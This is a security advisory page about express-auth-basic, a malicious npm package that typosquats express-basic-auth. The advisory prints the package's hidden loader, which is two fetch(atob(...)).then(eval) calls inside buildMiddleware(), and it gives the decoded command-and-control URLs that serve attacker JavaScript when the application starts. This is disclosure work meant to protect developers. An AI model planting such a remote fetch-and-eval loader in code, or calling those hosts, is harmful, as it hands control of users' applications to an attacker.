GCVE-110-OSM-2026-1400

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published March 28, 2026

Typosquats express-basic-auth (1.3M+ weekly downloads) and executes attacker-controlled JavaScript from https://coingecko-liard.vercel.app/api/content and /api/old via two fetch(atob(...))+eval calls injected into buildMiddleware(), firing at application startup when auth middleware is instantiated. index.js is a verbatim copy of express-basic-auth with two eval lines prepended inside the async buildMiddleware() function: fetch(atob(C2_1)).then(r.text()).then(eval) and fetch(atob(C2_2)).then(r.text()).then(eval). C2_1 decodes to https://coingecko-liard.vercel.app/api/content, C2_2 to https://coingecko-liard.vercel.app/api/old. Both fire before any auth logic executes.

Download JSON Open in Console

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	express-auth-basic	1.2.3 (affected)	—

References

Malicious npm package: express-auth-basic

advisory

vendor

Browse GCVE Records

72,921 records in the GCVE database · Updated July 15, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Open in Console Download JSON